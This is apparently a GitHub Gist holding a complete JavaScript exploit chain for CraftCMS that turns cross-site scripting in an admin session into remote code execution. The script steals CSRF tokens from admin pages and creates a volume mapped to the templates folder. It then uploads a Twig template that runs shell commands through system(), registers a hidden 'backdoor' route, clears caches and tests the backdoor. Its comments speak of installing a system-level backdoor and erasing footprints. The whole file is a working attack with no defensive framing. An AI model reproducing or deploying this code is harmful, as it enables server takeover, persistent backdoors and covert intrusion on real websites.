Created
March 12, 2023 15:08
-
-
Save 0xcrypto/98beaab82b40f8ed18914287bf7ddd3f to your computer and use it in GitHub Desktop.
CraftCMS xss to rce chain exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script> | |
<script> | |
// usage: exploitRCE() | |
function exploitRCE( | |
adminPanelUrl = '/index.php?p=admin/', | |
adminPanelDefaultUrl = '/admin/', | |
backdoor = 'backdoor', | |
twigTemplateExt = "text/html", | |
twigRCEPayload = `<p>{{ ([craft.request.getQuery('cmd')] | filter('system'))[0] }}</p>`, | |
twigTemplateName = "template.html" | |
) { | |
scrapeData = function(featurePath, selector, callback, fallback) { | |
$.get(featurePath, function (data) { | |
callback($(selector, data)); | |
}).fail(fallback); | |
} | |
exploitCsrf = function(featurePath, callback, fallback) { | |
scrapeData(featurePath, "input[name=CRAFT_CSRF_TOKEN]", function(data) { | |
callback($(data[0]).val()); | |
}, fallback); | |
} | |
// create a volume | |
exploitCsrf(adminPanelDefaultUrl + 'settings/assets/volumes/new', function(csrf) { | |
payload = "CRAFT_CSRF_TOKEN=" + csrf | |
+ "&action=volumes%2Fsave-volume" | |
+ "&redirect=e4acb1794adacc0aa0287b400df7cde18df030328e74447f4bd25d9e360a12a6settings%2Fassets" | |
+ "&name=maintenance-backups-temporary-directory" | |
+ "&handle=maintenanceBackupsTemporaryDirectory" | |
+ "&hasUrls=" | |
+ "&url=" | |
+ "&type=craft%5Cvolumes%5CLocal" | |
+ "&types%5Bcraft%5Cvolumes%5CLocal%5D%5Bpath%5D=%40config%2F..%2Ftemplates" | |
+ "&elementPlacements=" | |
+ "&elementPlacements%5BContent%5D%5B%5D=izg2wreKxs" | |
+ "&elementConfigs%5Bizg2wreKxs%5D=%7B%22type%22%3A%22craft%5C%5Cfieldlayoutelements%5C%5CTitleField%22%2C%22autocomplete%22%3Afalse%2C%22class%22%3Anull%2C%22size%22%3Anull%2C%22name%22%3Anull%2C%22autocorrect%22%3Atrue%2C%22autocapitalize%22%3Atrue%2C%22disabled%22%3Afalse%2C%22readonly%22%3Afalse%2C%22title%22%3Anull%2C%22placeholder%22%3Anull%2C%22step%22%3Anull%2C%22min%22%3Anull%2C%22max%22%3Anull%2C%22requirable%22%3Afalse%2C%22id%22%3Anull%2C%22containerAttributes%22%3A%5B%5D%2C%22inputContainerAttributes%22%3A%5B%5D%2C%22labelAttributes%22%3A%5B%5D%2C%22orientation%22%3Anull%2C%22label%22%3Anull%2C%22instructions%22%3Anull%2C%22tip%22%3Anull%2C%22warning%22%3Anull%2C%22width%22%3A100%7D" | |
$.ajax({ | |
url: adminPanelUrl + 'settings/assets/volumes/new', | |
type: 'POST', | |
data: payload, | |
success: function(data) { | |
// volume created successfully, now upload the twig template | |
exploitCsrf(adminPanelDefaultUrl + 'assets/maintenanceBackupsTemporaryDirectory', function (csrf) { | |
scrapeData(adminPanelDefaultUrl + 'assets/maintenanceBackupsTemporaryDirectory', "#sidebar a[data-volume-handle='maintenanceBackupsTemporaryDirectory']", function (rawData) { | |
fd = new FormData(); | |
file = new Blob([twigRCEPayload], { name: twigTemplateName, lastModified: new Date().getTime(), webkitRelativePath: "", size: 33, type: twigTemplateExt }); | |
fd.append('assets-upload', file, twigTemplateName); | |
fd.append('folderId', $(rawData[0]).attr('data-folder-id')); | |
fd.append('CRAFT_CSRF_TOKEN', csrf); | |
$.ajax({ | |
url: adminPanelUrl + 'actions/assets/upload', | |
type: 'post', | |
processData: false, | |
contentType: false, | |
dataType: 'json', | |
data: fd, | |
success: function(response){ | |
if(response.suggestedFilename) { | |
// Conflict in file name | |
twigTemplateName = response.suggestedFilename; | |
} | |
if(response.assetId) { | |
// payload injected successfully, final step create a backdoor url | |
// missing CSRF token on this endpoint, but just in case if there is a fix to this CSRF, | |
exploitCsrf(adminPanelDefaultUrl + 'settings/routes', function (csrf) { | |
// check if route already exists at given endpoint | |
scrapeData(adminPanelDefaultUrl + 'settings/routes', '.route', function(rawData) { | |
$(rawData).each(function(i, el) { | |
if(backdoor.trim() === $(el).find('.uri-container span.uri').text().trim()) { | |
// route already exists, creating a random route | |
backdoor = backdoor + parseInt(Math.random() * 10 ** 13); | |
} | |
}); | |
$.ajax({ | |
url: adminPanelUrl + 'actions/routes/save-route', | |
type: 'post', | |
headers: { | |
Accept : "application/json; charset=utf-8", | |
}, | |
data: "uriParts%5B0%5D="+ encodeURIComponent(backdoor) +"&template="+ twigTemplateName +"&CRAFT_CSRF_TOKEN=" + csrf, | |
success: function (data) { | |
if(data.success) { | |
// Route create successfully, final step, clear the cache | |
exploitCsrf(adminPanelDefaultUrl + 'utilities/clear-caches', function (csrf) { | |
// invalidate cache | |
$.ajax({ | |
url: adminPanelUrl + 'utilities/invalidate-tags', | |
type: 'post', | |
data: 'action=utilities%2Finvalidate-tags&CRAFT_CSRF_TOKEN='+ csrf | |
+'&tags%5B%5D=graphql&tags%5B%5D=template', | |
success: function (response) { | |
if(response.success) { | |
// Payload injection complete, call backdoor to ping server about its existence | |
$.ajax({ | |
url: adminPanelUrl + 'actions/utilities/clear-caches-perform-action', | |
type: 'post', | |
data: 'action=utilities%2Fclear-caches-perform-action' | |
+ '&CRAFT_CSRF_TOKEN='+ csrf | |
+'&caches=*', | |
success: function (response) { | |
if(response.success) { | |
// Payload injection complete, call backdoor to ping about its existence | |
$.get(document.location.origin + '/' + backdoor + '?cmd=id', function () { | |
// successful exploitation, we can now upload a system level backdoor and remove the footprints | |
});}}});}}}); | |
});}}});});})}}});});});}});});} | |
exploitRCE(); | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment